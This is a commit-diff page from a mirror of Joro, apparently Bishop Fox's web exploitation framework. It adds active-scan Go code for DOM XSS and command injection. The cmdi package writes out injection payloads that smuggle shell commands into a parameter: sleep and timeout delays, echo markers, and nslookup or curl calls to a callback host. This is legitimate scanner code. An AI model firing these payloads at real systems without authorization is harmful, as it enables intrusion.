mirror of
https://github.com/BishopFox/joro.git
synced 2026-11-09 01:39:35 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
376880c88d | ||
|
|
f7097f22d1 | ||
|
|
bbe68abe7c | ||
|
|
ee6083e311 | ||
|
|
0f7b59fd0b | ||
|
|
78945ed001 | ||
|
|
647aebdba6 | ||
|
|
4b3c4766e2 | ||
|
|
e6a9f1f348 | ||
|
|
01ba289b5e | ||
|
|
762c85454c | ||
|
|
be27327a0d | ||
|
|
f7889a0e1d | ||
|
|
5cdb71ac24 | ||
|
|
976e518298 | ||
|
|
f80333451e | ||
|
|
bc446b1d64 | ||
|
|
ab06f4dbdb | ||
|
|
8dab71c673 | ||
|
|
1f6b5ef92b | ||
|
|
472fdcd47b | ||
|
|
544b3b6e77 | ||
|
|
8214c8e804 | ||
|
|
66cbe42207 | ||
|
|
6e3c834df4 | ||
|
|
aeb688148b | ||
|
|
564f7027a7 | ||
|
|
9a8de27f4b | ||
|
|
2571e51ed6 | ||
|
|
cab43a702c | ||
|
|
768c9b7000 | ||
|
|
8aabc8162f | ||
|
|
c3f97d331f |
No files matched your search
@@ -1,12 +1,11 @@
|
||||
# Joro
|
||||
|
||||

|
||||
|
||||
A web exploitation framework for offensive security professionals. Intercepting proxy, blind vulnerability detection, web shell generation, C2 integration, and collaboration tools in a single binary with an embedded web UI.
|
||||
|
||||

|
||||
|
||||
> Warning: This tool is intended for authorized penetration testing and security research only. You must only use Joro against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. Bishop Fox assumes no liability and is not responsible for any misuse or damage caused by this tool. Use responsibly.
|
||||
|
||||

|
||||
|
||||
## Features
|
||||
|
||||
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 328 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 307 KiB |
@@ -2,6 +2,8 @@ module github.com/BishopFox/joro
|
||||
|
||||
go 1.25.0
|
||||
|
||||
godebug multipathtcp=0
|
||||
|
||||
require github.com/hashicorp/go-uuid v1.0.3
|
||||
|
||||
require (
|
||||
@@ -14,6 +16,7 @@ require (
|
||||
golang.org/x/sys v0.47.0
|
||||
google.golang.org/grpc v1.83.2
|
||||
google.golang.org/protobuf v1.36.11
|
||||
gopkg.in/yaml.v3 v3.0.1
|
||||
modernc.org/sqlite v1.46.1
|
||||
)
|
||||
|
||||
|
||||
@@ -75,6 +75,10 @@ google.golang.org/grpc v1.83.2 h1:EManeRomTObA0BU7I8vXgg/78uE5MJ9M8B39EX2WscU=
|
||||
google.golang.org/grpc v1.83.2/go.mod h1:YPI1hK3kDked6iHvgX3tR0y+nX/qpMFKhPgFsokw1S8=
|
||||
google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
|
||||
google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
modernc.org/cc/v4 v4.27.1 h1:9W30zRlYrefrDV2JE2O8VDtJ1yPGownxciz5rrbQZis=
|
||||
modernc.org/cc/v4 v4.27.1/go.mod h1:uVtb5OGqUKpoLWhqwNQo/8LwvoiEBLvZXIQ/SmO6mL0=
|
||||
modernc.org/ccgo/v4 v4.30.1 h1:4r4U1J6Fhj98NKfSjnPUN7Ze2c6MnAdL0hWw6+LrJpc=
|
||||
|
||||
@@ -0,0 +1,277 @@
|
||||
// Package activescan is Joro's operator-initiated active scanning: unlike detect,
|
||||
// echo and anomaly — which only ever read captured traffic — a scan originates
|
||||
// traffic or drives a browser against a target the operator picked, and files
|
||||
// confirmed results into the shared detect.Store.
|
||||
//
|
||||
// # A framework, not one check
|
||||
//
|
||||
// A scan runs a set of pluggable Rules against one Target. DOM XSS is the first
|
||||
// and only rule today; the interface exists so a future active rule (a reflected-
|
||||
// XSS prober, an open-redirect check) plugs in without the run machinery, the
|
||||
// scope rule or the context-menu wiring changing. The registry is an instance a
|
||||
// caller builds and owns, not a package global, per the project's no-globals rule.
|
||||
//
|
||||
// # One run at a time
|
||||
//
|
||||
// Like internal/chainrun, a scan is sequential and the store refuses a second
|
||||
// concurrent run (the AddIfIdle guard). A DOM XSS scan drives a single browser
|
||||
// and a future state-changing rule would race the application's own state, so
|
||||
// coexisting runs would describe the interleaving rather than the target.
|
||||
//
|
||||
// # Scope is a filter, not a gate
|
||||
//
|
||||
// The target's URLs are scope-filtered by the handler through proxy.Scope.InScope,
|
||||
// which returns true whenever scope filtering is disabled. So with scope off — the
|
||||
// default — nothing is rejected and a scan covers every target; scope only narrows
|
||||
// a scan once the operator turns it on. Rules therefore receive an already-filtered
|
||||
// URL list and never re-check.
|
||||
package activescan
|
||||
|
||||
import (
|
||||
"context"
|
||||
"sort"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/joro/internal/callback"
|
||||
"github.com/BishopFox/joro/internal/cert"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
"github.com/BishopFox/joro/internal/techfp"
|
||||
)
|
||||
|
||||
// Status is a run's state.
|
||||
type Status string
|
||||
|
||||
const (
|
||||
StatusRunning Status = "running"
|
||||
StatusComplete Status = "complete"
|
||||
StatusStopped Status = "stopped"
|
||||
)
|
||||
|
||||
// Bounds.
|
||||
const (
|
||||
MaxRuns = 20
|
||||
|
||||
// MaxURLs caps a single host scan: a large site map should not turn one click
|
||||
// into thousands of navigations.
|
||||
MaxURLs = 200
|
||||
|
||||
DefaultBudgetMs = 600000 // 10 minutes
|
||||
MaxBudgetMs = 1800000 // 30 minutes
|
||||
)
|
||||
|
||||
// TargetURL is one address to exercise.
|
||||
type TargetURL struct {
|
||||
URL string `json:"url"`
|
||||
Method string `json:"method"`
|
||||
RequestID string `json:"requestId,omitempty"` // the capture it came from, if any
|
||||
// RawReq carries the captured request bytes for a future HTTP-sending rule.
|
||||
// The DOM XSS rule navigates to URL and ignores it.
|
||||
RawReq []byte `json:"-"`
|
||||
}
|
||||
|
||||
// Target is what a scan operates on: one host's endpoints, or a single request.
|
||||
type Target struct {
|
||||
Scheme string `json:"scheme"`
|
||||
Host string `json:"host"` // Host-header form (may carry :port)
|
||||
Origin string `json:"origin"` // scheme://host
|
||||
URLs []TargetURL `json:"-"`
|
||||
}
|
||||
|
||||
// Config is snapshotted when a run starts.
|
||||
type Config struct {
|
||||
// Scope records how the target was chosen, for display: "host" or "request".
|
||||
Scope string
|
||||
|
||||
// Rules names the rule IDs to run; empty means every registered rule.
|
||||
Rules []string
|
||||
|
||||
// AllowDestructive is the arming gate reserved for rules that change state.
|
||||
// DOM XSS is read-only navigation and does not consult it, but the field is
|
||||
// the seam a future rule's Plan refusal hangs on.
|
||||
AllowDestructive bool
|
||||
|
||||
// Tags and Severity narrow which signatures the template rule runs; empty
|
||||
// means no filter. IgnoreFingerprint makes that rule skip fingerprint gating
|
||||
// and run every eligible signature. Only the template-signature rule reads
|
||||
// these; other rules ignore them.
|
||||
Tags []string
|
||||
Severity []string
|
||||
IgnoreFingerprint bool
|
||||
|
||||
// NoOAST opts the injection rules out of out-of-band testing even when a
|
||||
// callback listener is configured. OAST is already disabled when no listener
|
||||
// is configured; this is the operator's explicit opt-out when one is.
|
||||
NoOAST bool
|
||||
|
||||
BudgetMs int
|
||||
}
|
||||
|
||||
// RuleDeps is everything a rule might need to originate traffic or drive a
|
||||
// browser. A rule takes what it uses and ignores the rest.
|
||||
type RuleDeps struct {
|
||||
ProxyAddr string
|
||||
CA *cert.CA
|
||||
Store *proxy.Store
|
||||
Scope *proxy.Scope
|
||||
DataDir string
|
||||
// Tech is the passive fingerprint store. The template-signature rule reads it
|
||||
// to run only the checks a host's detected stack warrants; nil disables gating
|
||||
// (every eligible signature runs).
|
||||
Tech *techfp.Store
|
||||
// Callback is the out-of-band (OAST) callback store. The injection rules mint a
|
||||
// token and poll it for blind interactions; nil (or no configured domain)
|
||||
// disables OAST vectors, so they run only when a listener/domain is configured.
|
||||
Callback *callback.Store
|
||||
}
|
||||
|
||||
// Reporter is how a rule reports progress and results back to the run. Both
|
||||
// methods are safe to call from the rule's own goroutines.
|
||||
type Reporter interface {
|
||||
// Finding files a confirmed result into the shared detect store.
|
||||
Finding(detect.Finding)
|
||||
// Progress advances the run's completed count by delta units of work.
|
||||
Progress(delta int)
|
||||
}
|
||||
|
||||
// Rule is one active check. It owns its own traversal and resources: the DOM XSS
|
||||
// rule launches one browser and drives every URL through it, tearing it down
|
||||
// when Run returns.
|
||||
type Rule interface {
|
||||
ID() string
|
||||
Name() string
|
||||
Category() detect.Category
|
||||
// Description explains what the rule does, for the Rules UI. It is the active
|
||||
// counterpart to a passive rule's Description field.
|
||||
Description() string
|
||||
Run(ctx context.Context, t Target, cfg Config, deps RuleDeps, rep Reporter) error
|
||||
}
|
||||
|
||||
// Registry holds the rules a host process offers. It is built and owned by the
|
||||
// caller (the API server), not a package global.
|
||||
//
|
||||
// A rule's enabled-state is stored as the DISABLED set (an absent id is enabled),
|
||||
// so a newly-registered rule defaults on with no migration and the project file
|
||||
// persists only the exceptions. The enabled-state is per-project session state:
|
||||
// applyProjectConfig sets it on a project switch and buildProjectConfig reads it.
|
||||
type Registry struct {
|
||||
mu sync.RWMutex
|
||||
rules map[string]Rule
|
||||
order []string
|
||||
disabled map[string]bool
|
||||
}
|
||||
|
||||
// NewRegistry creates an empty registry.
|
||||
func NewRegistry() *Registry {
|
||||
return &Registry{rules: make(map[string]Rule), disabled: make(map[string]bool)}
|
||||
}
|
||||
|
||||
// Register adds a rule, keeping registration order for listing.
|
||||
func (r *Registry) Register(rule Rule) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
if _, ok := r.rules[rule.ID()]; !ok {
|
||||
r.order = append(r.order, rule.ID())
|
||||
}
|
||||
r.rules[rule.ID()] = rule
|
||||
}
|
||||
|
||||
// Get returns a rule by ID, or nil.
|
||||
func (r *Registry) Get(id string) Rule {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
return r.rules[id]
|
||||
}
|
||||
|
||||
// All returns every registered rule in registration order.
|
||||
func (r *Registry) All() []Rule {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
out := make([]Rule, 0, len(r.order))
|
||||
for _, id := range r.order {
|
||||
out = append(out, r.rules[id])
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// IsEnabled reports whether a rule runs when no explicit selection is made.
|
||||
func (r *Registry) IsEnabled(id string) bool {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
return !r.disabled[id]
|
||||
}
|
||||
|
||||
// SetEnabled toggles a rule's enabled-state.
|
||||
func (r *Registry) SetEnabled(id string, on bool) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
if on {
|
||||
delete(r.disabled, id)
|
||||
} else {
|
||||
r.disabled[id] = true
|
||||
}
|
||||
}
|
||||
|
||||
// Disabled returns the disabled rule IDs, sorted — the set the project file
|
||||
// persists.
|
||||
func (r *Registry) Disabled() []string {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
out := make([]string, 0, len(r.disabled))
|
||||
for id := range r.disabled {
|
||||
out = append(out, id)
|
||||
}
|
||||
sort.Strings(out)
|
||||
return out
|
||||
}
|
||||
|
||||
// SetDisabled replaces the disabled set, for a project restore. A nil slice
|
||||
// clears it, so a project with no setting runs every rule.
|
||||
func (r *Registry) SetDisabled(ids []string) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
r.disabled = make(map[string]bool, len(ids))
|
||||
for _, id := range ids {
|
||||
r.disabled[id] = true
|
||||
}
|
||||
}
|
||||
|
||||
// Resolve returns the rules a config selects, in registration order. An empty
|
||||
// selection means every ENABLED rule; an explicit selection returns the named
|
||||
// registered rules regardless of enabled-state, so an operator choosing a rule
|
||||
// overrides its global toggle.
|
||||
func (r *Registry) Resolve(ids []string) []Rule {
|
||||
if len(ids) == 0 {
|
||||
out := make([]Rule, 0, len(r.order))
|
||||
for _, rule := range r.All() {
|
||||
if r.IsEnabled(rule.ID()) {
|
||||
out = append(out, rule)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
want := make(map[string]bool, len(ids))
|
||||
for _, id := range ids {
|
||||
want[id] = true
|
||||
}
|
||||
out := make([]Rule, 0, len(ids))
|
||||
for _, rule := range r.All() {
|
||||
if want[rule.ID()] {
|
||||
out = append(out, rule)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func clampInt(v, def, lo, hi int) int {
|
||||
if v == 0 {
|
||||
return def
|
||||
}
|
||||
if v < lo {
|
||||
return lo
|
||||
}
|
||||
if v > hi {
|
||||
return hi
|
||||
}
|
||||
return v
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
package activescan
|
||||
|
||||
import (
|
||||
"sort"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// CatalogField is one labelled line in an item's read-only detail.
|
||||
type CatalogField struct {
|
||||
Label string `json:"label"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
|
||||
// CatalogItem is one entry in a rule's catalog — a nuclei signature or an injection
|
||||
// check. It carries the common columns plus a free-form Detail list, so the handler
|
||||
// and UI are agnostic to the item kind.
|
||||
type CatalogItem struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Severity string `json:"severity"`
|
||||
Confidence string `json:"confidence,omitempty"`
|
||||
Target string `json:"target,omitempty"`
|
||||
Description string `json:"description,omitempty"`
|
||||
Remediation string `json:"remediation,omitempty"`
|
||||
Enabled bool `json:"enabled"`
|
||||
Detail []CatalogField `json:"detail,omitempty"`
|
||||
}
|
||||
|
||||
// Cataloger is implemented by a Rule that exposes a catalog of individually
|
||||
// toggleable items (Template signatures, or an injection rule's checks). It is
|
||||
// optional — a single-check rule like DOM XSS does not implement it. The
|
||||
// enable/disable half is satisfied by embedding *DisabledSet.
|
||||
type Cataloger interface {
|
||||
CatalogItems() []CatalogItem
|
||||
IsItemEnabled(id string) bool
|
||||
SetItemEnabled(id string, on bool)
|
||||
DisabledItems() []string
|
||||
SetDisabledItems(ids []string)
|
||||
}
|
||||
|
||||
// DisabledSet is a reusable per-item disabled set (an absent id is enabled),
|
||||
// mirroring the Registry's per-rule model at item granularity. Rules embed it to
|
||||
// get four of the five Cataloger methods for free; it is per-project session state
|
||||
// (applyProjectConfig sets it, buildProjectConfig reads it).
|
||||
type DisabledSet struct {
|
||||
mu sync.RWMutex
|
||||
m map[string]bool
|
||||
}
|
||||
|
||||
// NewDisabledSet returns an empty set (everything enabled).
|
||||
func NewDisabledSet() *DisabledSet { return &DisabledSet{m: map[string]bool{}} }
|
||||
|
||||
// IsItemEnabled reports whether an item runs (absent from the disabled set).
|
||||
func (d *DisabledSet) IsItemEnabled(id string) bool {
|
||||
d.mu.RLock()
|
||||
defer d.mu.RUnlock()
|
||||
return !d.m[id]
|
||||
}
|
||||
|
||||
// SetItemEnabled toggles one item's disabled-state.
|
||||
func (d *DisabledSet) SetItemEnabled(id string, on bool) {
|
||||
d.mu.Lock()
|
||||
defer d.mu.Unlock()
|
||||
if on {
|
||||
delete(d.m, id)
|
||||
} else {
|
||||
d.m[id] = true
|
||||
}
|
||||
}
|
||||
|
||||
// DisabledItems returns the disabled ids, sorted — the set the project file persists.
|
||||
func (d *DisabledSet) DisabledItems() []string {
|
||||
d.mu.RLock()
|
||||
defer d.mu.RUnlock()
|
||||
out := make([]string, 0, len(d.m))
|
||||
for id := range d.m {
|
||||
out = append(out, id)
|
||||
}
|
||||
sort.Strings(out)
|
||||
return out
|
||||
}
|
||||
|
||||
// SetDisabledItems replaces the set, for a project restore. A nil slice clears it.
|
||||
func (d *DisabledSet) SetDisabledItems(ids []string) {
|
||||
d.mu.Lock()
|
||||
defer d.mu.Unlock()
|
||||
d.m = make(map[string]bool, len(ids))
|
||||
for _, id := range ids {
|
||||
d.m[id] = true
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,134 @@
|
||||
// Package cmdi is the active command-injection rule. It exposes checks for
|
||||
// output-marker, Unix/Windows timing, and out-of-band detection; each appends
|
||||
// shell-metacharacter payloads to a parameter.
|
||||
package cmdi
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/activescan/injkit"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
)
|
||||
|
||||
const (
|
||||
ruleID = "cmdi"
|
||||
findingRule = "activescan.cmdi"
|
||||
sleepMs = 5000
|
||||
oastWindow = 12 * time.Second
|
||||
// marker product 73*79=5767: a shell evaluates the arithmetic, while a merely
|
||||
// reflective app echoes the literal "$((73*79))" — so the computed form confirms
|
||||
// execution, not reflection.
|
||||
markerProduct = "5767"
|
||||
)
|
||||
|
||||
var unixTime = []string{`;sleep 5`, `|sleep 5`, `||sleep 5`, `&&sleep 5`, "`sleep 5`", `$(sleep 5)`}
|
||||
var winTime = []string{`& timeout /t 5`, `& ping -n 6 127.0.0.1`}
|
||||
|
||||
func markerSuffixes(nonce string) []string {
|
||||
e := nonce + `$((73*79))`
|
||||
return []string{`;echo ` + e, `|echo ` + e, "`echo " + e + "`", `& echo ` + e}
|
||||
}
|
||||
|
||||
func oastSuffixes(host string) []string {
|
||||
return []string{`;nslookup ` + host, `|nslookup ` + host, `$(nslookup ` + host + `)`, `& nslookup ` + host, `;curl ` + host}
|
||||
}
|
||||
|
||||
var checks = []injkit.Check{
|
||||
{
|
||||
ID: "output", Name: "Output marker", Severity: detect.SeverityCritical,
|
||||
Description: "Appends an echo of a shell-arithmetic marker; the computed result in the response confirms execution (not mere reflection).",
|
||||
Payloads: []string{`;echo <marker>$((73*79))`, `|echo …`, "`echo …`", `& echo …`},
|
||||
Probe: outputMarker,
|
||||
},
|
||||
{
|
||||
ID: "time-unix", Name: "Time-based (Unix)", Severity: detect.SeverityCritical,
|
||||
Description: "Appends a Unix sleep and confirms a delayed response twice.",
|
||||
Payloads: unixTime,
|
||||
Probe: func(pc injkit.ProbeCtx) { timeBased(pc, unixTime) },
|
||||
},
|
||||
{
|
||||
ID: "time-windows", Name: "Time-based (Windows)", Severity: detect.SeverityCritical,
|
||||
Description: "Appends a Windows timeout/ping delay and confirms a delayed response twice.",
|
||||
Payloads: winTime,
|
||||
Probe: func(pc injkit.ProbeCtx) { timeBased(pc, winTime) },
|
||||
},
|
||||
{
|
||||
ID: "oast", Name: "Out-of-band", Severity: detect.SeverityCritical,
|
||||
Description: "Appends nslookup/curl to the callback host and polls the listener for an interaction.",
|
||||
Payloads: []string{`;nslookup <callback>`, `$(nslookup <callback>)`, `;curl <callback>`},
|
||||
RequiresOAST: true,
|
||||
Probe: oastBased,
|
||||
},
|
||||
}
|
||||
|
||||
type Rule struct{ *activescan.DisabledSet }
|
||||
|
||||
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
|
||||
|
||||
func (*Rule) ID() string { return ruleID }
|
||||
func (*Rule) Name() string { return "Command injection" }
|
||||
func (*Rule) Category() detect.Category { return detect.CategoryCommandInjection }
|
||||
func (*Rule) Description() string {
|
||||
return "Appends shell-metacharacter payloads (echo marker, sleep/timeout, and — when a " +
|
||||
"callback listener is configured — nslookup/curl) to each parameter, confirming via an " +
|
||||
"evaluated marker, a timing delay, or an out-of-band callback."
|
||||
}
|
||||
|
||||
func (r *Rule) CatalogItems() []activescan.CatalogItem {
|
||||
return injkit.Catalog(checks, r.DisabledSet, false)
|
||||
}
|
||||
|
||||
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
|
||||
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryCommandInjection, "Command injection")
|
||||
return nil
|
||||
}
|
||||
|
||||
func outputMarker(pc injkit.ProbeCtx) {
|
||||
nonce := "joro" + randHex(5)
|
||||
for _, s := range markerSuffixes(nonce) {
|
||||
if res := pc.Inject(s, true); res != nil && strings.Contains(string(res.Resp.Body), nonce+markerProduct) {
|
||||
pc.File(detect.SeverityCritical, "output-based command injection in "+pc.Point.Name, "injected "+s+" and the shell-evaluated marker was echoed", res.URL)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func timeBased(pc injkit.ProbeCtx, suffixes []string) {
|
||||
for _, s := range suffixes {
|
||||
res := pc.Inject(s, true)
|
||||
if res == nil || !injkit.LooksDelayed(res.DurationMs, pc.Base.FloorMs, sleepMs) {
|
||||
continue
|
||||
}
|
||||
if res2 := pc.Inject(s, true); res2 != nil && injkit.LooksDelayed(res2.DurationMs, pc.Base.FloorMs, sleepMs) {
|
||||
pc.File(detect.SeverityCritical, "time-based blind command injection in "+pc.Point.Name, "injecting "+s+" delayed the response twice (~5s over baseline)", res.URL)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func oastBased(pc injkit.ProbeCtx) {
|
||||
if pc.OAST == nil {
|
||||
return
|
||||
}
|
||||
tokenID, host, err := pc.OAST.Token("cmdi")
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for _, s := range oastSuffixes(host) {
|
||||
pc.Inject(s, true)
|
||||
}
|
||||
if pc.OAST.Fired(pc.Ctx, tokenID, oastWindow) {
|
||||
pc.File(detect.SeverityCritical, "out-of-band command injection in "+pc.Point.Name, "an injected command triggered a callback to "+host, pc.Base.URL)
|
||||
}
|
||||
}
|
||||
|
||||
func randHex(n int) string {
|
||||
b := make([]byte, n)
|
||||
_, _ = rand.Read(b)
|
||||
return hex.EncodeToString(b)
|
||||
}
|
||||
@@ -0,0 +1,294 @@
|
||||
// Package domxss is the first internal/activescan rule: it confirms DOM-based XSS
|
||||
// by driving a headless browser over CDP.
|
||||
//
|
||||
// For each target URL it plants a distinct canary token in each controllable DOM
|
||||
// source — the URL fragment, a query value and window.name — then navigates to
|
||||
// the URL. A monitor shim (monitor.js), injected before any page script runs and
|
||||
// so unaffected by the page's CSP, wraps the dangerous sinks (innerHTML, eval,
|
||||
// document.write, setAttribute, jQuery.html, …). When a canary reaches a sink the
|
||||
// shim reports which one and from which source over a CDP binding, and that
|
||||
// becomes a high-confidence detect.Finding.
|
||||
//
|
||||
// Per-source canaries make attribution exact: because the hash, query and name
|
||||
// tokens differ, a sink hit names the precise source that reached it rather than
|
||||
// guessing from whichever source happened to hold the payload.
|
||||
package domxss
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
_ "embed"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/browser"
|
||||
"github.com/BishopFox/joro/internal/cdp"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
)
|
||||
|
||||
//go:embed monitor.js
|
||||
var monitorJS string
|
||||
|
||||
const (
|
||||
ruleID = "domxss"
|
||||
bindingName = "__joroDomXss"
|
||||
findingRule = "activescan.domxss"
|
||||
|
||||
connectTimeout = 20 * time.Second
|
||||
perURLTimeout = 15 * time.Second
|
||||
settleDelay = 1200 * time.Millisecond
|
||||
)
|
||||
|
||||
// Rule implements activescan.Rule.
|
||||
type Rule struct{}
|
||||
|
||||
// New returns the DOM XSS rule.
|
||||
func New() *Rule { return &Rule{} }
|
||||
|
||||
func (*Rule) ID() string { return ruleID }
|
||||
func (*Rule) Name() string { return "DOM-based XSS" }
|
||||
func (*Rule) Category() detect.Category { return detect.CategoryDOMXSS }
|
||||
|
||||
func (*Rule) Description() string {
|
||||
return "Drives a dedicated headless Chromium through Joro's proxy and plants per-source " +
|
||||
"canaries in the URL fragment, a query value, and window.name, then reports when the " +
|
||||
"page's own JavaScript carries one into a dangerous sink (innerHTML, document.write, " +
|
||||
"eval, setTimeout, location, and similar). Injection is over CDP before page load, so " +
|
||||
"it is unaffected by CSP, and the canary never reaches the server — the flow is " +
|
||||
"confirmed in the browser."
|
||||
}
|
||||
|
||||
// hit is one sink report from the injected monitor.
|
||||
type hit struct {
|
||||
Sink string `json:"sink"`
|
||||
Source string `json:"source"`
|
||||
Channel string `json:"channel"`
|
||||
Token string `json:"token"`
|
||||
Value string `json:"value"`
|
||||
URL string `json:"url"`
|
||||
Stack string `json:"stack"`
|
||||
}
|
||||
|
||||
// collector gathers monitor reports as they arrive on the CDP read loop.
|
||||
type collector struct {
|
||||
mu sync.Mutex
|
||||
hits []hit
|
||||
}
|
||||
|
||||
func (c *collector) add(h hit) {
|
||||
c.mu.Lock()
|
||||
c.hits = append(c.hits, h)
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
// drain returns every hit received since it was last called.
|
||||
func (c *collector) drain() []hit {
|
||||
c.mu.Lock()
|
||||
out := c.hits
|
||||
c.hits = nil
|
||||
c.mu.Unlock()
|
||||
return out
|
||||
}
|
||||
|
||||
// Run launches a dedicated headless browser, injects the monitor, and navigates
|
||||
// each target URL with canaries, reporting confirmed flows.
|
||||
func (r *Rule) Run(ctx context.Context, t activescan.Target, _ activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
|
||||
if deps.CA == nil {
|
||||
return fmt.Errorf("no CA available for the scan browser")
|
||||
}
|
||||
path, _, ok := browser.Find()
|
||||
if !ok {
|
||||
return fmt.Errorf("no Chromium-family browser found to drive the scan")
|
||||
}
|
||||
|
||||
profileDir := filepath.Join(deps.DataDir, "browser-profiles", "__scan")
|
||||
sess, err := browser.LaunchControlled(browser.LaunchOptions{
|
||||
BrowserPath: path,
|
||||
ProxyAddr: deps.ProxyAddr,
|
||||
SPKIFingerprint: browser.SPKIFingerprint(deps.CA.Cert),
|
||||
ProfileDir: profileDir,
|
||||
Headless: true,
|
||||
})
|
||||
if err != nil {
|
||||
return fmt.Errorf("launch scan browser: %w", err)
|
||||
}
|
||||
defer sess.Kill(true)
|
||||
|
||||
client, err := cdp.Connect(ctx, sess.DebugPort, connectTimeout)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
col := &collector{}
|
||||
loadCh := make(chan struct{}, 1)
|
||||
client.On("Page.loadEventFired", func(json.RawMessage) {
|
||||
select {
|
||||
case loadCh <- struct{}{}:
|
||||
default:
|
||||
}
|
||||
})
|
||||
client.On("Runtime.bindingCalled", func(params json.RawMessage) {
|
||||
var p struct {
|
||||
Name string `json:"name"`
|
||||
Payload string `json:"payload"`
|
||||
}
|
||||
if err := json.Unmarshal(params, &p); err != nil || p.Name != bindingName {
|
||||
return
|
||||
}
|
||||
var h hit
|
||||
if err := json.Unmarshal([]byte(p.Payload), &h); err == nil {
|
||||
col.add(h)
|
||||
}
|
||||
})
|
||||
|
||||
if _, err := client.Send(ctx, "Page.enable", nil); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := client.Send(ctx, "Runtime.enable", nil); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := client.Send(ctx, "Runtime.addBinding", map[string]any{"name": bindingName}); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := client.Send(ctx, "Page.addScriptToEvaluateOnNewDocument", map[string]any{"source": monitorJS}); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, tu := range t.URLs {
|
||||
if ctx.Err() != nil {
|
||||
return ctx.Err()
|
||||
}
|
||||
// Only GET endpoints are navigable pages; a host target now also carries
|
||||
// non-GET parametric requests for the injection rules, which this rule skips.
|
||||
if tu.Method != "" && !strings.EqualFold(tu.Method, "GET") {
|
||||
rep.Progress(1)
|
||||
continue
|
||||
}
|
||||
scanURL(ctx, client, col, loadCh, t.Host, tu.URL, rep)
|
||||
rep.Progress(1)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// scanURL plants canaries, navigates, waits for load plus a settle delay, and
|
||||
// files any confirmed hits.
|
||||
func scanURL(ctx context.Context, client *cdp.Client, col *collector, loadCh chan struct{}, host, rawURL string, rep activescan.Reporter) {
|
||||
navURL, nameCanary := buildCanaryURL(rawURL)
|
||||
if navURL == "" {
|
||||
return
|
||||
}
|
||||
|
||||
// window.name persists across the navigation, so set it first.
|
||||
_, _ = client.Send(ctx, "Runtime.evaluate", map[string]any{
|
||||
"expression": "window.name=" + jsString(nameCanary),
|
||||
"returnByValue": true,
|
||||
})
|
||||
|
||||
// Drop any stale load signal from a previous navigation.
|
||||
select {
|
||||
case <-loadCh:
|
||||
default:
|
||||
}
|
||||
|
||||
urlCtx, cancel := context.WithTimeout(ctx, perURLTimeout)
|
||||
defer cancel()
|
||||
if _, err := client.Send(urlCtx, "Page.navigate", map[string]any{"url": navURL}); err != nil {
|
||||
return
|
||||
}
|
||||
// Wait for the load event (or the per-URL timeout), then give async sinks a
|
||||
// moment after load to fire.
|
||||
